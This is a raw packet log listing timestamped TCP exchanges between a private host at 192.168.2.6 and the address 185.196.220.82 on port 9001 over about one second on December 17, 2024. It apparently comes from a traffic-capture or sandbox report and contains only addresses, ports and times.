Dec 17, 2024 11:49:44.263923883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.271961927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.272077084 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.272083044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.272114992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.280446053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.280498981 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.280559063 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.280580997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.288804054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.288866043 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.288953066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.288994074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.297907114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.297924042 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.297965050 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.297986031 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.305746078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.305815935 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.305859089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.305922985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.314182997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.314217091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.314248085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.314269066 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.319437027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.319494963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.319540024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.319578886 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.347259998 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.347275019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.347372055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.351520061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.351533890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.351622105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.359869003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.359883070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.359940052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.380660057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.419373989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.419404030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.419487953 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.419487953 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.421809912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.422760963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.422802925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.422869921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.422914982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.427977085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.428049088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.428095102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.428148031 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.434472084 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.434484005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.434583902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.434583902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.438240051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.438299894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.438337088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.438435078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.443154097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.443253994 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.443278074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.443308115 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.448039055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.448090076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.448177099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.448224068 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.454164028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.454175949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.454205990 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.454220057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.457607985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.457621098 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.457659960 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.457674026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.461863995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.461939096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.462032080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.462074041 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.466567039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.466579914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.466629982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.471087933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.471102953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.471201897 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.475462914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.475519896 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.475641966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.475780010 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.480000019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.480060101 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.480128050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.480180979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.483248949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.483333111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.483366966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.483407974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.486495018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.486507893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.486565113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.486587048 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.489609003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.489623070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.489684105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.492800951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.492980003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.493051052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.495959997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.496012926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.496079922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.498895884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.500443935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.500457048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.500528097 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.502202034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.502362013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.502414942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.505373001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.505445004 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.505456924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.505495071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.508415937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.508588076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.508649111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.511662006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.511676073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.511738062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.514748096 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.514761925 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.515088081 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.572808027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.572881937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.573024988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.574278116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.611026049 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.611207962 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.611776114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.611788988 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.611833096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.614330053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.614428997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.614481926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.616950989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.616964102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.617016077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.619458914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.619646072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.619709969 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.621983051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.622034073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.622066021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.622231007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.624423027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.624600887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.624658108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.626956940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.626970053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.627022982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.629283905 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.629345894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.629409075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.631726027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.631903887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.631959915 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.634457111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.634567976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.634613991 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.636049986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.636096954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.636102915 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.636140108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.638115883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.638222933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.638271093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.640233040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.640244961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.640301943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.642347097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.642359972 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.642405987 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.644474030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.644485950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.644520998 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.644555092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.646569967 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.646583080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.646629095 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.648828983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.648842096 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.648896933 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.651352882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.651592970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.651638985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.652904987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.653090954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.653136015 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.655150890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.655164003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.655206919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.657121897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.657298088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.657354116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.659302950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.659358978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.659423113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.661489964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.661501884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.661559105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.663718939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.663806915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.663866043 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.665787935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.665818930 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.665864944 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.667829037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.667841911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.667889118 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.667931080 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.669878960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.669967890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.670021057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.672174931 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.672193050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.672245026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.674174070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.674232960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.674284935 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.676562071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.676949024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.676976919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.676990032 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.678945065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.678957939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.679016113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.692496061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.692601919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.692749023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.693567038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.693662882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.693676949 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.693712950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.695964098 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.695976973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.696021080 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.696048021 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.697848082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.697915077 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.697969913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.699971914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.700064898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.700117111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.702147007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.702159882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.702207088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.704221964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.704329014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.704381943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.706609964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.706775904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.706856012 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.708580017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.708592892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.708656073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.710664034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.710758924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.710817099 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.712707043 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.712812901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.712874889 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.714823008 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.714934111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.715002060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.716923952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.764689922 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.764702082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.764836073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.765388012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.765399933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.765470982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.767373085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.767627001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.767693996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.812427998 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.812464952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.812606096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.813086987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.813107967 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.813172102 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.815172911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.815227032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.815277100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.816847086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.816910028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.816979885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.818339109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.818356991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.818413019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.820143938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.820157051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.820204020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.821660042 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.821819067 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.821902990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.823007107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.823023081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.823055029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.824146986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.824193001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.824409962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.825448036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.825465918 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.825521946 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.826550007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.826569080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.826611996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.827677965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.827729940 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.828011036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.828840017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.828907013 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.829058886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.830144882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.830179930 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.830210924 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.831219912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.831239939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.831273079 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.832458973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.832475901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.832515001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.833647013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.833669901 CET	9001	49784	185.196.220.82	192.168.2.6
